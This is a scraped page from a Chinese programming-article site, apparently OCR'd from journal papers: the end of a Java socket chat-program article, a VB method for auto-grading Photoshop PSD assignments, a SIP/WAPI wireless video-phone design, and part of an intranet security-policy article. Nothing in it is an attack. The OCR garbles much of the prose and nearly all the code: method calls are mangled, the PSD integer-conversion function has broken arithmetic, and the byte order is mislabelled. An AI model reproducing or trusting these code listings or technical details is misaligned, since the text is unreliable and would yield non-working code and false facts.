size();i++){ String s=dim.get(i)toStringO; String[] ss=s split("\\s+"): if(ss[Ol equals(u usemame)){ dim.remove(i); break;   } } } 4.2用戶通信模塊 4.2.1聊天界面 當用戶點擊群聊按鈕或雙擊用戶列表中某個在線用戶后就 會彈出到聊天窗13,界面設計如圖4所示。 4.2.2聊天功能實現 私聊和群聊使用同一處理模塊,該模塊處理已接收信息, 將表情與字符分開.主要代碼如下: Pattern P=Pattern.compile('.gff'): Matcher m=p.matcher(msg); while(m.find())( int start=m.start(1—2: Iist.add(start): start=start+6: if{start>msg.lengthOJ{ break; } list add(start); ) for(int i=0:I<Iist size();i++) if(i<Jist size()一1){ int begin=Integer parseInt(1ist get(i)toStringO); let over=Integer.parseInt(1ist get(i+1l toStringO); String subs=msg substring(begin,over); substrlist.add(subs); )else{ String subs=msgsubstring(IntegeLparseln(istget()).toStringO)); substrlist add(subs); ) ) 將處理過的信息顯示在面板上: for (int i=O:j<msglist size();i++){ Matcher m=Dmatcher(sub); 州m.find()){ URL url=this getClass().getClassLoader().getResource{’ Image/"+sub); textPane setCaretPosition(doc getLength()): image=new Imagelcon(url); textPane.insertlcon(image); )else( doc insertString(doc getLenOthO,sub.attd; } ) } 4.3服務器轉發模塊 服務器端不需要出現圖形用戶界面.服務器端所要做的工 作就是接收各個客戶端傳來的信息,識別信息的類型f包括用 戶信息、上線信息、私聊信息、群聊信息和文件信勘.再將 信息轉發給相應的客戶。 將監聽方法做成一個線程,此線程只負責監聽.用于產生 一個新的Soekel.并將其存儲起來,關鍵代碼如下: class ServerThread extends Thread( pubric void run(J( while(true){ Socket sc=ss accept(); ObjectOutputStream OOS=new ObjectOutputStream(sc getOutputStreamO); mp put(sc,cos); SocketThread st=new SocketThread(sc); st start(); } } ) 轉發聊天信息: Message u=(Message)m: if(u.toname equals(’alluser')}{#p#分頁標題#e# ArrayList aI=new ArrayList0; al、add(u); Object[] ol=al toArrayO; Iterator i=mp keySetO iterator0; while(i hasNextO){ Socket sc=(Socket)i next(); ((ObjectOutputStream)mp get(sc))writeObject(ol J: ) ) 整個系統全部用Java技術來文現,能夠實現平臺無關性、 可移植性等。Java技術在網絡編程方面具有很多優點.但由于 其自身的機制.仍有許多有待改善的地方,比如運行速度慢 等。只有對Java進行改進,才能是其得到更廣泛的應用。 http://www.ionrce.tw/uploads/allimg/120521/1-120521123943960-lp.jpg Socket,多線程,MVC模式,聊天程序 各類編程 admin 未知 2012-05-21 12:37 用vb編寫PhotoShop作業的機器閱卷機 http://www.ionrce.tw/biancheng/20120519929.html 過VBScript對PSD文檔信息的讀取方法,實現Photoshop作業的機器閱卷。 PhotoShop(以下簡稱Ps)作為當前最熱門的平面設計軟 件.其應用領域也口益,泛,從早期的商業領域擴展到r如今 的尋常百 過VBScript對PSD文檔信息的讀取方法,實現Photoshop作業的機器閱卷。 PhotoShop(以下簡稱Ps)作為當前最熱門的平面設計軟 件.其應用領域也口益,’泛,從早期的商業領域擴展到r如今 的尋常百姓家,Ps技術甚至已經成為當前中學生選修的一門 課程。但在本課程的教學中有一個棘手的『口j題,就是學生的 Ps作品只能通過人工閱卷。費時又費力。能否通過計箅機技 術實現自動閱卷.提高閱卷效率。從而解決許多信息技術教師 的閱卷之苦.同時培養學生獨立思考、自行糾錯的自學能力. 提升學生的學習效率。基于對PS作業進行機器閱卷的設想, 經過多年研究,總結出一套有效的解決方法,即利用Ps腳本 程序和PsD文檔的二進制數據結構讀取義件信息.通過分析 比對實現機器閱卷。 在現有書籍和網絡中.關于Ps腳本程序相關的介紹還相 當少。然而在對PhotoShop CS版本以卜的安裝目錄中觀察發 現.有一個腳本指南文件夾.其中詳細介紹了操縱PS的3種 腳本:AppleScript、JavaScript和VBScript,通過對其中提供的 “示例腳本”的研究,發現通過腳本能操作Ps實覡各種效果, 同樣也能讀取PSD文檔的許多信息,這就為機器閱卷提供丁 重要的基礎。現在.通過VBSeript來介紹PsD文檔信息的瀆 取方法。 比如:對“C:\香皂包裝盒psd”文檔進行分析,要求檢閱 “舍有天然精華素”網層中的文本內容,字體、字號和顏色等 設置參數.文檔囝層信息如圖I所示。 第一步.在VB工程中引用Ps對象庫。如果安裝的是 PhoLoShop CS版本.引用Adobe PhotoShop 8.0 Object Library Ps對象庫(如果是PS CS2版本的,對應版本號為9.0,依次 類推)。如果安裝的是Ps 7.0版本,需要事先安裝PhotoShop Scriptting support程序.才能支持腳本讀取.而對干PS7.0以下 的版本是不支持腳本應JH的。 第二步,定義Ps應用程序對象變量:Dim appRefAs New photoshopApplication.當對變量下逃相關指令后.程序會肩動 Ps。如果該變蜃定義之前已經打開了PS.則不會重復啟動Ps。 如果不希望看到PS應用程序窗n.可以使用“appReLvisible= False”指令隱藏.但還是需要等到Ps程序肩動完畢后才能執 行下一條指令。 第三步,定義PSD文檔對象變量,并打開待閱文檔: Dim doeRef As photoshop.Document Set docRef=appRef.open("C:\香皂包裝盒.psd”) 第四步,遍歷圖層信息,確定存在文本圖層“含有天然精 華索”。在Ps的VBA對象模型中,各圖層信息存放在數組對 象layers巾.通過對layers數組的遍歷,可以確定是否存在目 標阿層.同時根據layers對象的kind屬性值確定目標圖層是否 為文本類型.如是.則讀取文本信息。 Dim layerExist as boolean’是否存在目標圖層的標志值 Dim psLayerName as string’目標圖層名稱www.ionrce.tw psLayerName=”含有天然精華素” IaverExlst=faIse For i=1 To docRef.layers.count If docRef.layers(i).Name=psLayerName Then layerExist=True Exit For EndIf Next If layerExist and docRef ArtLayers(psLayerName)Kind= psTextLayer Then textContents=docref.ArtLayers(psLayerName)Textltem. Contents‘文本內容 fontNarne=docref.ArtLayers(psLayerName).Textltem font ’字體 fontSize=Int(docrefArtLayersIpsLayerName).Textltem. Size}’字號 fontColor=docref ArtLayers IpsLayerName)Textltem color.RGB.HexValue’文本顏色 end if 第五步.顯示閱卷結果: If not layerExist Then msgbox“不存在日標圖層,不能閱卷。” else If docRef.ArtLayers(psLayerName).Kind<>psTextLayer Then Msgbox“目標圖層不是文本圖層,不能閱卷。” Else Msgbox“文本內容:”&textContents&vbCrLf& “字體:”&fontName&vbCrLf&“字號:”&fontSize& vbCrLf&“文本顏色:”&fontColor End if End if7 第六步,關閉PS和相關對象.閱卷結束: docref.Close appRef.Quit Set appRef=Nothing Set docRef=Nothing#p#分頁標題#e# 由上述程序可以看出,如果能夠理清Ps腳本支持對象的 模型結構,機器閱卷還是很輕松的。圖2是PS腳本支持對象 中的幾個重要對象和屬性。 Ps腳本支持對象提供了十分清晰的對象模型結構,所以 使程序的編制和調試顯得相對透明和直觀。但缺點也是明顯 的,首先它只適合于PS 7.0以I:的版本;其次,各版本所提供 的對象模型結構不盡相同,使腳本閱卷法存在一定的兼容性問 題;還有,閱卷前必須啟動Ps程序,等待時間較長,對于配 置較差的機器是個考驗;而濾鏡效果則只能勉強通過像索色彩 值比較法進行閱卷.效果很不理想。 鑒于腳本閱卷法存在的一些問題。采用PSD文檔二進制 數據直接讀取法町以解決部分問題。要通過文件的二進制數據 直接獲取相關信息.首先要了解文件的數據結構。根據PSD 文檔格式說明書的解釋。PsD文檔總體分為5個數據區.依次 是:文件頭(File Header)、色彩模式數據(Color Mode Data)、 圖像資源區(Image Resources)、圖層和蒙版信息(Layer and Mask Information)和圖像數據區(Image Data),它們的數據分 布如圖3所示。 各數據區的詳細數據結構如表l一表5所示。 以上5張表格只是PsD文件的總體數據結構.其中各圖 層信息和圖像數據町參考PsD文檔格式說明書。現以檢測“C: 、香皂包裝盒.psd”圖像的寬度和高度為例。說明如何使用-二進 制方式閱卷的方法。 第一步。確定圖像寬度和高度值存放地址。根據表l,可 以確定寬度值存放位置始于第15字節,高度值存放位置始于 第19字節,均用4字節存儲。PSD文檔中整數的存放格式采 用“Little Endian”方式,即高位在前低位在后,根據這個特 點對數據進行轉換。轉換函數如下: Function get4ByteInteger(fileid As Integer,linkPos As Long)As Long ’fileid為文件號,linkPos為地址指針 Dim al As Byte,a2 As Byte,a3 As Byte,a4 As Byte,sl As Long Get *fileid,linkPos.a 1 Get #fileid,linkPos+1.a2 Get #fileid,linkPos+2,a3 Get #fileid,linkPos+3,a4 sl=a4+a3+256&+a2’256&‘256&+al’256& 。256&。256& getLong=sl End Function 第二步,讀取寬高數據: Dim fileid As Integer,linkPos As Long,sign as string fileid=FreeFile() Open“C:\香皂包裝盒.psd“For Binary As槲ileid sign=InputS(4,#fileid) if sign=”8BPS”then imageHeight=get4ByteInteger(fileid,1 5) imageWidth=get4ByteInteger(fileid.1 9) Else Msgbox“目標文件不是photoshop源文件,不能閱卷!。 End if Close #fileid 采用PSD文檔二進制數據直接讀取法。無需安裝Ps,無 需啟動Ps,也不存在版本問題,兼容性好,閱卷效率很高. 不過調試略顯嗣難。可借助winHex等二進制瀏覽編輯軟件輔 助調試程序。但這種方法對濾鏡效果也只能采用像素檢測法。   http://www.ionrce.tw/uploads/allimg/120519/1-120519103511207-lp.jpg Photoshop,VB,機器閱卷 各類編程 admin 未知 2012-05-19 10:32 SIP無線局域網V2IP電話的研究 http://www.ionrce.tw/windows/20120516928.html 0引 言 隨著ip[1]網絡的普及,人們逐漸意識到將分離的語音、 數據、視頻網絡融合為一體化是未來網絡發展的大趨勢, 基于ip的v2IP(video and voice over ip)語音視頻電話在 這一背景下應運而 0引 言 隨著ip[1]網絡的普及,人們逐漸意識到將分離的語音、 數據、視頻網絡融合為一體化是未來網絡發展的大趨勢, 基于ip的v2IP(video and voice over ip)語音視頻電話在 這一背景下應運而生。V2IP利用最近的wLAN接人點接 入因特網,通過遍布全球的Internet進行視頻/音頻/數據 的通訊。V2IP的應用前景非常廣泛,專家預計在未來5到 10年內將會有10%一15%的普通電話會被可視電話替代, 而V2口又是整個可視電話市場的主導力量,有著巨大的市 場潛力。目前已有多家國內外公司開發出v2P電話和 Vb科2伽電話,由于它們都有成本大、售價高、多采用 H.261或H.263編碼傳輸音視頻數據時占用較大的帶寬、 圖像質量差、以有線接人為主、不具備便攜性、wAPI無 線接入和移動性差等缺點,不能很好的滿足當今人們的需 求。因此隨著可視電話的推廣和應用,建立低成本,音視 頻質量好,便攜方便和移動性好的V2lP電話已迫在眉睫。 本文提出的V2m模型睜6]和解決方案是建立在無線網絡上, 通過WAPI安全接入找到需要通信的被叫方,從而完成音 視頻通信。此方案對wAPI技術在我國的推廣和普及有積 極的推動作用。 l相關技術背景 sic協議簡介 sip是由1日限組織于1999年提出的一個基于口網 絡實現實時通信應用的一種信令協議,可用來構造完成的 多媒體構架。SIP的一個重要功能是支持用戶移動性,通 過其定義的代理服務器和重定向服務器來實現。Sm可以 實現通信用戶終端的定位,保證無論被呼叫方在網絡的任 何位置上都可以確保呼叫到達被呼叫方。sIP架構中包 含幾個重要部件;用戶代理客戶端、用戶代理服務器、代 理服務器、重定向服務器、注冊服務器和定位服務器。除 用戶代理外,代理/重定/注冊/定位服務器既可以在一個物 理設備中也可以存在于不同的物理實體中。這些服務器不 但可以提供智能業務還有利于服務提供者進行會話管理。 1.2 s口協議結構 sIP協議由一組無關的處理層次組成,這些層次之間 只有松散的關系,即sIP是一個分層的協議: (1)語法和編碼層:定義了SIP消息語法,完成消息 (request,egister等)編碼。編碼方式采用擴展的Backus_ Naur Form grammar(BNF范式)。 (2)傳輸層:描述客戶端和服務器如何利用各自的有 限狀態機處理響應請求。 (3)事務層:主要任務是確保消息的可靠傳輸。 (4)事務用戶層:給上層用戶提供接口.以便sip消 息的處理順利完成。 (5)最上層是各種sm實體。 1.3 WAPI協議簡介 為在影響無線局域網產業發展的安全問題上形成突破, 國家標準GBl5629.11—2003創造性地提出了無線局域網鑒別 與保密基礎結構(wireless LAN authentication and pdvacy infrastructure,WAPI)機制來實現無線局域網的安全。wapi 是一種安全協議,同時也是中國無線局域網安全強制性標 準,包括wai和wPI兩個部分。其中,無線局域網鑒別基 礎結構(wLAN auth饑ti∞tion infrastructure。wAI)建立 在關聯過程之上,是實現wAPI的基礎。在基本服務組中, wAI采用公鑰密碼技術實現srA(盯ATIoN實體終端) 與訪問結點(access point,AP)之間的雙向身份鑒別{只 有鑒別成功后.AP才允許sta接人,同時STA也才允許 通過該AP收發數據。AP提供盯A連接到鑒別服務單元 的端口.確保只有鑒別成功的SrA才能使用AP提供的數 據端口訪問網絡ISIA提供通過AP連接到鑒別服務單元 的端口,確保只有通過已鑒別成功的AP才能使用STA提 供的數據端口收發數據。 wAl通過使用數字證書驗證.不僅具有更加安全的鑒 別機制、更加靈活的密鑰管理技術,而且實現了整個基礎 網絡的集中用戶管理。從而滿足更多用戶和更復雜的安全 性要求。無線局域網保密基礎結構(wLAN privacy infra- structure.wPI)采用了國家商用密碼管理委員會辦公室提 供的對稱密碼算法進行加密和解密,充分保障了數據傳輸 的安全。wPI數據的完整性校驗碼計算包含了源地址、目 的地址和分組序號.并采用CBc-MAc模式。實現了數據 的完整性和數據源鑒月0.防止了重復攻擊。 2 IP電話的設計 2.1總體設計 利用sIP協議實現基于無線局域網的V2IP電話搭建#p#分頁標題#e# 在無線局域網上,其應用參考架構模型如圖1所示,圖中 各實體均為邏輯實體。Pc機、v2IP終端和嵌入式服務器 通過wAPI以無線方式接入局域網,Pc機和V2IP,V2碑 和v2IP的呼叫控制通過嵌入式SIP服務器實現。 圖1中的AP;無線訪問點,As(authentication senver): 安全鑒別服務器.v2ipws(wLAN server):v2P電話服務 器.Es嵌入式sip服務器終端。在每個 終端上,用戶可以通過嵌入式sip服務器注冊一個代表自己 用戶Ⅲ,他們之間就可以完成呼叫、連接、音視頻通話和掛 斷等操作。這種機制的優點在于使用嵌入式sm服務器, 利用wAPI安全接人,和Pc機、v2口進行免費互通。 2.2系統框架結構 v2IP必須具有安全接人,音頻視頻會話,會話控制等 所需的各種功能模塊。圖2給出了V2IP的基本構成,其中 包括:用戶界面、無線接人、呼叫控制、音視頻控制、媒 體訪問控制和物理層和擴展模塊等部分組成,該系統框架 結構既適合高處理性能的Pc機也適合較低性能的嵌入 式終端。 (1)無線接入。這是無線網絡很重要的一部分,V2lP 通過雙向認證密鑰和(支持wAPI的)AP進行安全接入并 關聯。V2m通過該模塊的功能和無線局城網內的其它潛在 的音視頻通過用戶網絡互通。為下一步的安全的通信打 下基礎。 (2)呼叫控制。通過嵌人式sm服務器完成用戶本身 名稱(user-D)的注冊與注銷。以及對其它通信方的user- D進行查詢和解析。完成向被叫方發起呼叫.連接.關閉 等功能.同時負責管理監聽對方呼叫/響應(被呼叫/被響 應)。音視頻數據流采用uDP協議進行傳輸。uDP是無連接方式,不可以保證數據包安全到達,但其延遲小,可重 發,符合語音/視頻通信低延遲這一實時性特點。 (3)音頻/視頻控制。主要完成語音信息和視頻信息相 關功能,這是V2ip系統必須的部分。V2口音頻編解碼器 采用的是G 718,視頻編解碼技術是H.264。 (4)擴展模塊可用于、r2疋的增值業(例如,發信息, 收費,打游戲等)。 2.3 v2ip電話具體實現 基于sIP的V2IP電話是基于linux系統平臺設計開發 的,采用c和QT[11-12]編碼實現。 2.3.1用戶界面模塊 進行V2P用戶界面的開發,必須安裝Li叫x系統下 Qtopia4.3.2軟件、交叉工具鏈和相關移植類庫。Qt4.3.2 是Tmlltech公司為采用嵌人式Linux操作系統的消費電子 設備而開發的綜合應用平臺。Qtopia4.3.2包括完整的應用 層、靈活的用戶界面、窗口操作系統、應用程序啟動以及 開發框架。 2.3.2呼叫控制模塊 當進行多媒體數據通信時,V2IP需要呼叫控制信 令對其會話進行呼叫控制。而s即協議因其簡單、靈活、 可擴展性強等優點,已然成為NGN(next generation net— work)呼叫控制中的一個重要協議.并且sip信令可以很 好的管理v2P的呼叫控制功能,因此v2ip采用sm信令 協議完成呼叫控制功能。利用S口進行呼叫控制的模型有 很多中.例如,集中模式.分散模式和集中分散混合模式 等。集中模式中sm信令的管理和媒體的傳輸都經過服務 器,缺點是服務器的負擔大而且擴展性差,數據包傳輸延 遲大。分散模式是信令管理和媒體的傳輸由終端本身管理, 缺點帶寬要求高。集中分散模式是sip信令由服務器管理, 而媒體的傳輸直接在終端之間進行,克服了集中、分散模 式的缺點。為了減少服務器負載和音/視頻傳輸延遲,V2口 采用集中分散混合模式完成呼叫控制功能。 sIP呼叫控制模型如圖3所示,sip服務器負責管理 sm信令,而媒體的傳輸在終端之間直接進行。若用戶 和用戶B通話,兩者需先到服務器上注冊,然后兩者通話 信息就不經過服務器直接在它們之間直接進行。由于減少 了經過服務器的中轉,極大提高了傳輸速率。 2.3.3音視頻控制模塊 音視頻控制部分包括音視頻數據的編解碼和音視頻數 據的自適應同步傳輸。音視頻編解碼技術是指多媒體數據#p#分頁標題#e# 的壓縮與解壓縮.由于網絡帶寬和存儲介質容量的限制, 有必要在保證服務質量的前提下,發送方選擇合適的編解 碼標準對采集到的數據流進行壓縮.接收方將接收到的數 據流解壓縮為原始音視頻流。 v2ip使用G.718音頻編解碼技術。G718是分層的嵌 人式可變速率音頻編解碼器,其核心編解碼器的位流有一 個核心層(由L1表示)和4個增強層(有L2一L5表示)。 G.718核心編碼器的比特率范圍是:8kbit/s到32kbit/s; 采樣頻率為:16km。G.718綰解碼器還支持以8kHz采樣 頻率的音頻輸入或音頻輸出,它的負載格式由一個有效載 荷頭域和一個或多個構成實際傳輸數據的傳輸塊組成, G718負載格式如下: 由以上格式所知,header由8位的有效載荷cRc校驗 組成。在發送端,有效載荷cRc檢驗使用產生的多項式塊 c(x)在有效載荷的主要傳輸塊上計算。c b)=x.8+ x.4+x-3+x^2+l。在接收端。有效載荷aK校驗可以 用來驗證是否正確接收一個rtp包中從主傳輸塊開始的任 何連續的傳輸塊子集。編碼散據的處理:為了使編碼數據 單元和編碼幀一對一映射,創建一個有效載荷時遵循4個 原則:原則一,在一個有效載荷里面的幀必須形成以解碼 順序的連續幀集合;原則二,在一個幀的層必須形成一個 連續的層集合;原則三,在一個f}輸快中的編碼數據單元 必須按層號遞增序列組合;原則四.在一個傳輸塊中的同 一層號的編碼敦據單元必須以減序組合。一個編碼數據集 合可以有多種方式分配給傳輸塊。例如,每一個編碼數 單元在自L三的傳輸塊中封裝、所有的編碼數據單元在一 單一的傳輸塊中傳輸、每一個編碼數據單元使用不同的 輸塊傳輸.如下所示: 以上這種方法可以有效減少帶寬。為了提供流暢語音、 較低的編碼延遲、非常低的實現復雜性以及高質量的語音效 果,v2IP采用在單一傳輸塊中傳輸的方式用于語音編解碼。 V21P在傳輸音視頻數據時必須保持音頻和視頻兩者的 同步。在多媒體通信領域,同步策略主要有兩種:一種是基 于發送端的控制,另一種是基于接收端的控制。v2ip借助 RTP/RTCP協議和UDPSocket通信方式.采用基于接收端的同步控制方式。基于接收端同步的原理是:在接收方播 放的時候獲取音頻的時間信息,并與當前的視頻信息進 行比較,若它們之間的差值超過了預先設置的極限值. 則說明不同步,此時丟棄視頻數據幀,繼續接收下一幀。 例如,設定極限值T—looms,若當前音頻時間戳Tc和收 到的視頻時間戳Tt差值大于T,說明不同步,需要丟掉當 前視頻幀,等待和下一個音頻時間戳再比較。如它們之間 的差值小于T,就進行幀解壓并播放顯示。   2.3.4無線接入模塊 wAPl不僅是一種安全協議同時也是中國無線局域網 安全強制性標準。wAPI充分考慮了市場應用,根據 wLAN應用的不同情況,可以采用單點式、集中式等不同 的模式工作.并且支持大規模的運營級服務。目前我國大 部分無線接人仍舊使用是wiFi技術.該技術存在很多安全 缺陷.而wAPl在我過仍然處于初級階段,有很大的發展 空間。因此v2IP采用wAPI標準,可以有效提高無線網絡 中音視頻數據流傳輸的安全性,使得v2IP更具有發展空間 和競爭力。具體實現原理是:終端首先啟動無線驅動.然 后掃描附近的AP點.將掃描的信息和V2IP的密鑰文件 (主要包括線網絡ESsID(extended service set identifier)、 加密方式,加密密鑰、密鑰產生模式等)進行雙向認證。 如果認證成功則關聯到AP點,反之則拒絕關聯繼續掃描 等待下一次的鑒別。 3測試與結果 測試環境如圖5所示,4個實驗室自主研發終端.其中 3個安裝了V2IP電話軟件。v2IP電話所需要的服務器 (As和V2IPws)嵌人到V21P Server終端中。每個終端上 都有無線網卡模塊。3個v2IP終端和V2IP Server服務器 之間通過AP組成了一個無線局域網。 基于上述環境對基于s口的無線局域網v2IP電話進行 了測試。首先啟動AP和v2IP Server(IP地址為 192.168.1.13),然后將需要通話的3個V2口終端通過無#p#分頁標題#e# 線方式注冊到v2刀Pserver上,最后三者之間就可以通過撥 號(使用號碼為:5001、5002或5003,如圖6可知)相互 視頻通話。測試結果表明V21P電話實現了注冊,呼叫.掛 斷等必須的音視頻通話功能。通話過程開始時視頻圖像如 圖6所示.5s后LcD上可以同步、流暢、清晰的顯示通話 雙方的圖像,達到預期效果。 4結束語 依據傳統ip電話的不足.本文提出了新的Ⅲ電話模型. 并實現了v2IP電話利用W刪技術無線安全接人和與Pc機 進行音頻、視頻通話。經測試,基于新模型的v2P電話通 過使用sP信令協議解決了消息注冊,呼叫和掛斷等問題; 通過使用H.264編碼技術和RTP傳輸協議很好解決了音視 頻同傳輸步和圖像清晰問題。V2ip電話很好的解決了傳統 口電話的缺點并可用于社區安全、移動安全監控等領域。 http://www.ionrce.tw/uploads/allimg/120516/1-1205161643303V-lp.jpg SIP,無線接入,v2ip,無線安全接入 windows 何曉飛,龍昭華,張 未知 2012-05-16 16:40 淺談內網安全防護策略 http://www.ionrce.tw/xitonganquan/20120515927.html 1引言 近幾年發生的網絡安全事件表明,網絡內部安全 防護手段的缺陷和人員的安全防護意識淡薄是引起網 絡安全問題的重要原因。傳統的網絡安全睦療護方法都 是注重在網絡邊界上采 1引言 近幾年發生的網絡安全事件表明,網絡內部安全 防護手段的缺陷和人員的安全防護意識淡薄是引起網 絡安全問題的重要原因。傳統的網絡安全睦療護方法都 是注重在網絡邊界上采取防火墻、入侵檢測、漏洞掃 描、防病毒、訪問控制等手段,對網絡夕卜部設備和人 員進行管控,卻忽視了對網絡內部用戶和設備的管理。 雖然有的部門內網采取了安全防護措施,對內網用戶 的身份進行了認證,強制用戶安裝防病毒軟件、防火 墻軟件、打補丁等,但是,由于用戶網絡安全防范意 識的差別,內網安全防護措施的實施缺乏必要的監控, 導致內網終端設備安全防護等級參差不羅半,這對內網 的安全造成了嚴重的威脅01。本文針對內網安全防護 的現狀,防護措施進行了改進,改進后的內網安全防 護措施,對用戶身份認證采用在線指紋認證的方式, 對全網統一部署的防護策略進行監控,確保全網安全 防護措施的統一性和用戶、終端的可信邊界,有效抵 御了對內網的攻擊行為。 2內網安全防護措施 網絡的安全程度遵循“木桶原理”,即:網絡的 安全性是由網絡中安全等級最薄弱的那臺計算機的 防護水平決定的,網絡中安全防護等級薄弱的計算 機往往是黑客、病毒、木馬、蠕蟲等入侵網絡的突 破口,成為整個網絡安全的短板。這也意味著,只 有整體提高網絡中所有用戶的安全防護意識和終端 的安全防護策略,才能最大限度地發揮整個網絡的 安全防護性能,有效抵御網絡外部和內部的惡意攻 擊,防止網絡失泄密事件的發生。內網安全防護的 理念也是基于“木桶原理”,即在內網部署全網統 一的防病毒、防火墻、補丁下載等安全防護策略, 對終端用戶接入網絡、訪問網絡資源等行為進行安 全審計。內部網絡安全防護措施主要有:用戶身份 認證、終端安全和安全審計等。 2.1用戶身份認證 用戶身份認證是指內網用戶在登錄系統時對用 戶身份合法性的驗證。目前普遍使用的身份認證方 法有“用戶名+口令”的認證方法和基于USBKey 的認證方法。 ’ 1)“用戶名+口令”的身份認證方式 “用戶名+口令”是一種最基本的身份認證方 式,即用戶在登錄系統時,輸入系統分配給用戶 的用戶名和密碼,如果驗證成功后允許用戶登錄 系統,否則拒絕用戶登錄。這種身份認證的方法 比較簡單,易于操作,但是系統的安全性相對來 說也比較低,如果用戶名和密碼被泄露,很容易 導致非授權用戶冒充合法用戶使用系統,不利于 對系統進行安全審計。另外,針對這種認證方法 進行攻擊的第三方軟件也非常多,因此,在安全 性要求比較高的網絡,這種認證方法逐漸被其他 認證方法所取代。 2)基于USBKey的身份認證方式犯1 基于USBKey的身份認證方式是近幾年發展起 來的一種更加安全的身份認證技術。它采用軟硬件 相結合、一次一密的強雙因子認證模式,很好地解 決了安全性與易用性之間的矛盾。USBKey是一種 USB接口的硬件設備,它內置單片機或智能卡芯片, 可以存儲用戶的密鑰或數字證書,利用USBKey內 置的密碼算法可以實現對用戶身份認證,USBKey 也稱為網絡內對用戶進行身份認證的“電子鑰匙”。 這種認證方法采取了RSA等密碼加密算法,具有 雙重驗證機制,因此安全性較“用戶名+口令”的 認證方式有了很大的提高,目前在電子政務、網上 銀行以及軍事等領域得到了廣泛的應用。 這種認證方式在實際使用中也存在以下缺陷: USBKey中存儲的用戶私鑰,一旦被竊取或破譯, 后果將非常嚴重,如果USBKey丟失,而認證服 務器還沒有來得及注銷用戶信息,那么將導致非 法用戶冒充的情況。 2.2終端防護 內網中取得合法身份的用戶并不一定是“守 ”的用戶,當用戶取得合法的身份以后,還必 須加強終端防護。終端防護的重點在于對用戶行 為的管控,主要通過在全網內部署網絡防病毒系 統、防火墻系統補丁分發系統以及網絡監控系統, 在終端上設置統一的防病毒策略、防火墻策略和 補丁分發策略,監控和保護通信端口、協議、進#p#分頁標題#e# 程/服務、注冊表、安全策略等操作系統關鍵資 源的,關閉不必要的進程、服務和端口,降低操 作系統的安全隱患131。 2.3安全審計 安全審計系統主要審計記錄用戶登錄情況、用 戶訪問資源情況、內網安全攻擊情況、數據傳輸 情況、網絡行為識別、網絡惡意代碼檢測、網絡 協議檢測,便于管理員事后審計以及事后追查。 通過行政和管理手段,在全網內部署統一的防 病毒策略、防火墻策略和網絡監控系統,能有效 地約束用戶的網絡訪問行為,提高內網的安全性。 但是,在實踐中,由于缺乏必要的技術措施,導 致終端用戶的個人行為往往難以管控。即使強制 終端安裝殺毒軟件、防火墻,及時打補丁,但是, 仍存在部分用戶不更新病毒庫,不打補丁,私自 下載來歷不明的軟件等恃況,使得建立全網統一 的安全防護策略的思想難以實現,對內網的安全 造成了極大的威脅。 3改進的內網安全防護策略 針對內網安全防護存在的問題,對目前內網安 全防護措施從用戶身份認證方式、內網安全防護策 略驗證、內網終端非法外聯監控、權限檢查、內網 安全審計、數據傳輸保護等方面進行了改進,如圖 l所示。改進后的內網安全防護策略劃分了內網可 信主機邊界、內網可信用戶邊界、服務器可信使用 者邊界,有效地增強了網絡安全,抵御了來自網絡 內部和外部的攻擊。 3.1身份認證 身份認證包括“用戶身份認證”和“終端主機 認證”。用戶身份認證采用了用戶指紋在線認證的 方式。這種認證方式利用了用戶的生物特征,克服 了“用戶名+口令”的認證方式和USBKey認證 方式的缺陷,有效地區分內網可信用戶的邊界,避 免了內網用戶身份假冒的情況。終端主機認證采用 了“IP+MAC+端口”的認證方式,對用戶終端主 機的合法性進行認證,有效地防止了終端私自連接 外網情況的發生。 用戶權限分配將服務器資源與用戶的訪問角色 進行了綁定,使用戶的訪問限定在授權的范圍之內, 阻斷非法接入的主機、冒充的用戶和越級越權的網 絡訪問行為。 3.2網絡安全防護策略監控 近幾年,用戶的網絡安全防護意識有了較大的 提高,許多部門的網絡也強制用戶安裝防病毒軟件 和防火墻等安全軟件。但是,仍有部分用戶不按照 規定,不及時更新病毒庫、私自卸載殺毒軟件和防 火墻。因此,除了對用戶進行身份驗證之外,還需 要對用戶終端的安全防護策略進行監控。 1)防病毒策略驗證 在線檢測防病毒策略以及客戶端防病毒系統病 毒庫的更新情況,如果防病毒系統策略與全網統一 要求的防病毒策略設置得不一致或者病毒庫沒有及 時更新,則對用戶進行提示并阻斷用戶的連接。 2)防火墻策略驗證 在線檢測防火墻安全策略的合法性,如果防火 墻安全策略與全網統一要求的防火墻安全策略設置 不一致,則對用戶進行提示并阻斷用戶的連接。 3)系統漏洞和補丁檢測 系統啟動時,通過終端防護系統的漏洞掃描功 能,對所轄范圍內的主機進行漏洞掃描,及時發現 操作系統存在的安全漏洞,未打補丁的終端接入內 網時,對其進行阻斷,提示其先打補丁再接入網絡, 并依托內網補丁下載服務器,為用戶提供補丁下載 服務,實現操作系統加固。 3.3網絡終端非法外聯監控 局域網內部的臺式計算機、移動設備、打印機 等終端設備的自我防護能力參差不齊,終端用戶 的安全防護意識薄弱。主要表現為:局域網內的 用戶隨意安裝來歷不明的軟件,隨意使用光盤、U 盤,1394口,私接外網等。這些不受限制的網絡 終端外聯行為,會造成病毒、木馬、蠕蟲的傳播, 以及網絡失泄密、網絡攻擊等情況,嚴重地威脅 整個網絡的安全。網絡終端非法外聯監控的理念 正是從終端防范入手,從根源上解決內部網絡的 安全問題。 網絡終端非法外聯監控系統通過在局域網內部 部署網絡終端非法外聯監控服務器,對局域網內部 用戶終端設置統一的終端非法外聯監控策略,來達#p#分頁標題#e# 到控制局域網的用戶非法使用外設的目的。終端非 法外聯監控策略包括:登錄時強制使用指紋在線認 證方式,禁止更改IP地址,禁止更改MAC地址, 禁止使用USB接口,禁止從安全模式登錄系統等。 1)接入控制 接入控制主要對外設接口進行控制。控制終端 用戶使用光驅、軟驅、打印機等輸入輸出設備;控 制終端用戶使用USB接口、串口、并口、1394接 口、無線網卡、MODEM、紅外等接口。 2)介質管理 能夠對單位內使用的移動介質進行分類管理, 只允許在內網使用已經授權的專用移動介質,禁止 使用未注冊的U盤、移動硬盤、手機/MP3/MP4、 CF/MD/SD卡以及FlashDisk等未授權的普通介 質,并且能夠審計移動介質的操作行為。 3.4內網安全審計 對內網訪問行為從應用層、系統層、網絡層進 行安全審計,記錄計算機文件修改、刪除、復翩、 移動的操作行為,記錄統計用戶訪問過的網頁,記 錄計算機應用程序運行的日志H1。為系統管理員提 供有價值的系統使用日志,幫助管理員及時發現網 絡入侵行為或潛在的系統漏洞。 4改進的內網安全防護策略的實現 我們在visual C#.net編程環境下,采用B/S 結構的設計模式,實現了改進后的“內網安全防護 策略監控系統”。系統部署在內網服務器區,在服 